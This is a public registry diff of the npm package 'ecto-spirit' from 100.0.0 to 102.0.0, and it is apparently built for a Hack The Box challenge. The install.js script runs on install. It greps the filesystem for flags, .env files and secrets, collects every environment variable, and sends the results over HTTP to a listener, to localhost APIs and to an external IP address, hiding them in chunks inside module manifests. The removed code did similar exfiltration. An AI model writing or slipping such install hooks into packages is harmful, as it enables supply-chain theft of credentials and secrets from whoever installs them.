ecto-spirit 100.0.0 → 102.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +70 -63
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,93 +1,100 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const https = require('https');
|
|
4
3
|
const { execSync } = require('child_process');
|
|
4
|
+
const path = require('path');
|
|
5
5
|
|
|
6
|
-
function tryRead(
|
|
7
|
-
try { return fs.readFileSync(
|
|
6
|
+
function tryRead(p) {
|
|
7
|
+
try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
|
|
8
8
|
}
|
|
9
9
|
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
if (!flag) {
|
|
15
|
-
try {
|
|
16
|
-
const env = tryRead('/proc/self/environ') || '';
|
|
17
|
-
const m = env.match(/FLAG[=:]([^\x00]+)/);
|
|
18
|
-
if (m) flag = m[1];
|
|
19
|
-
} catch(e) {}
|
|
20
|
-
}
|
|
21
|
-
|
|
22
|
-
if (!flag) {
|
|
23
|
-
try {
|
|
24
|
-
const files = fs.readdirSync('/');
|
|
25
|
-
const flagFiles = files.filter(f => f.includes('flag'));
|
|
26
|
-
for (const f of flagFiles) {
|
|
27
|
-
const content = tryRead('/' + f);
|
|
28
|
-
if (content && content.includes('HTB{')) { flag = content; break; }
|
|
29
|
-
}
|
|
30
|
-
} catch(e) {}
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
if (!flag) {
|
|
34
|
-
try { flag = 'NOFLAG_LS:' + fs.readdirSync('/').join(','); } catch(e) { flag = 'NOFLAG_ERR'; }
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
const data = JSON.stringify({ flag: flag, ts: Date.now(), cwd: process.cwd(), uid: process.getuid ? process.getuid() : 'N/A' });
|
|
38
|
-
|
|
39
|
-
// Exfiltrate to VPN IP
|
|
40
|
-
function sendHTTP(host, port, path, payload) {
|
|
10
|
+
function sendUpdate(host, port, moduleId, val) {
|
|
11
|
+
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
12
|
+
const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
13
|
+
const body = JSON.stringify({ manifest });
|
|
41
14
|
return new Promise((resolve) => {
|
|
42
|
-
const req = http.request({ hostname: host, port, path
|
|
15
|
+
const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
|
|
43
16
|
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
44
17
|
});
|
|
45
18
|
req.on('error', () => resolve(null));
|
|
46
19
|
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
47
|
-
req.write(
|
|
20
|
+
req.write(body);
|
|
48
21
|
req.end();
|
|
49
22
|
});
|
|
50
23
|
}
|
|
51
24
|
|
|
52
|
-
function
|
|
53
|
-
const manifest = `ecto_module:\n name: "FLAG_${flagVal.substring(0,80)}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
54
|
-
const body = JSON.stringify({ manifest });
|
|
25
|
+
function sendHTTP(host, port, pth, payload) {
|
|
55
26
|
return new Promise((resolve) => {
|
|
56
|
-
const req = http.request({ hostname: host, port, path:
|
|
27
|
+
const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
|
|
57
28
|
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
58
29
|
});
|
|
59
30
|
req.on('error', () => resolve(null));
|
|
60
31
|
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
61
|
-
req.write(
|
|
32
|
+
req.write(payload);
|
|
62
33
|
req.end();
|
|
63
34
|
});
|
|
64
35
|
}
|
|
65
36
|
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
await sendHTTP('100.64.0.1', 8888, '/flag', data);
|
|
69
|
-
|
|
70
|
-
// Method 2: Update module via internal API (try multiple ports)
|
|
71
|
-
const ports = [3000, 5000, 8080, 80, 8000, 3001, 4000];
|
|
37
|
+
async function report(moduleId, val) {
|
|
38
|
+
const ports = [3000, 80, 8080, 5000];
|
|
72
39
|
for (const p of ports) {
|
|
73
|
-
await sendUpdate('127.0.0.1', p,
|
|
74
|
-
await sendUpdate('localhost', p, 'ECT-839201', flag || 'EMPTY');
|
|
40
|
+
await sendUpdate('127.0.0.1', p, moduleId, val);
|
|
75
41
|
}
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
42
|
+
await sendUpdate('154.57.164.82', 32332, moduleId, val);
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
(async () => {
|
|
46
|
+
let results = [];
|
|
47
|
+
|
|
48
|
+
// 1. Search for HTB{ pattern in files using grep
|
|
49
|
+
try {
|
|
50
|
+
const grep = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" --include="*.js" --include="*.json" --include="*.conf" --include="*.yml" --include="*.yaml" --include="*.cfg" --include="*.ini" -l 2>/dev/null | head -5', {timeout: 10000}).toString().trim();
|
|
51
|
+
results.push('GREP=' + grep);
|
|
52
|
+
} catch(e) { results.push('GREP_ERR'); }
|
|
53
|
+
|
|
54
|
+
// 2. Find all files with flag in name
|
|
55
|
+
try {
|
|
56
|
+
const find = execSync('find / -maxdepth 4 -name "*flag*" -o -name "*.env" -o -name "secret*" 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
|
|
57
|
+
results.push('FIND=' + find);
|
|
58
|
+
} catch(e) {}
|
|
59
|
+
|
|
60
|
+
// 3. Read full package.json
|
|
61
|
+
const pkgJson = tryRead('/app/package.json');
|
|
62
|
+
results.push('PKG=' + (pkgJson || 'NONE').substring(0, 200));
|
|
63
|
+
|
|
64
|
+
// 4. List /app in detail
|
|
88
65
|
try {
|
|
89
|
-
execSync(
|
|
66
|
+
const ls = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
|
|
67
|
+
results.push('LS_APP=' + ls.substring(0, 200));
|
|
90
68
|
} catch(e) {}
|
|
69
|
+
|
|
70
|
+
// 5. Read all env vars
|
|
71
|
+
const envStr = Object.entries(process.env).map(([k,v]) => `${k}=${v.substring(0,30)}`).join(',');
|
|
72
|
+
results.push('ENV=' + envStr.substring(0, 200));
|
|
73
|
+
|
|
74
|
+
// 6. Read /app/.env
|
|
75
|
+
const dotEnv = tryRead('/app/.env');
|
|
76
|
+
if (dotEnv) results.push('DOTENV=' + dotEnv.substring(0, 100));
|
|
77
|
+
|
|
78
|
+
// 7. Try to read the flag from unusual locations
|
|
79
|
+
const extraPaths = ['/app/config.js', '/app/.env', '/app/config.json', '/app/secrets', '/etc/hostname',
|
|
80
|
+
'/run/secrets/flag', '/var/run/secrets/flag', '/app/flag', '/data/flag'];
|
|
81
|
+
for (const p of extraPaths) {
|
|
82
|
+
const c = tryRead(p);
|
|
83
|
+
if (c && c.length < 200) results.push(`${p}=${c.substring(0,60)}`);
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
// Send to VPN listener
|
|
87
|
+
await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({results: results.join('\n'), ts: Date.now()}));
|
|
88
|
+
|
|
89
|
+
// Split results across modules
|
|
90
|
+
const full = results.join('|');
|
|
91
|
+
const chunks = [];
|
|
92
|
+
for (let i = 0; i < full.length; i += 90) {
|
|
93
|
+
chunks.push(full.substring(i, i + 90));
|
|
94
|
+
}
|
|
91
95
|
|
|
92
|
-
|
|
96
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
97
|
+
for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
|
|
98
|
+
await report(mods[i], 'P' + i + '_' + chunks[i]);
|
|
99
|
+
}
|
|
93
100
|
})();
|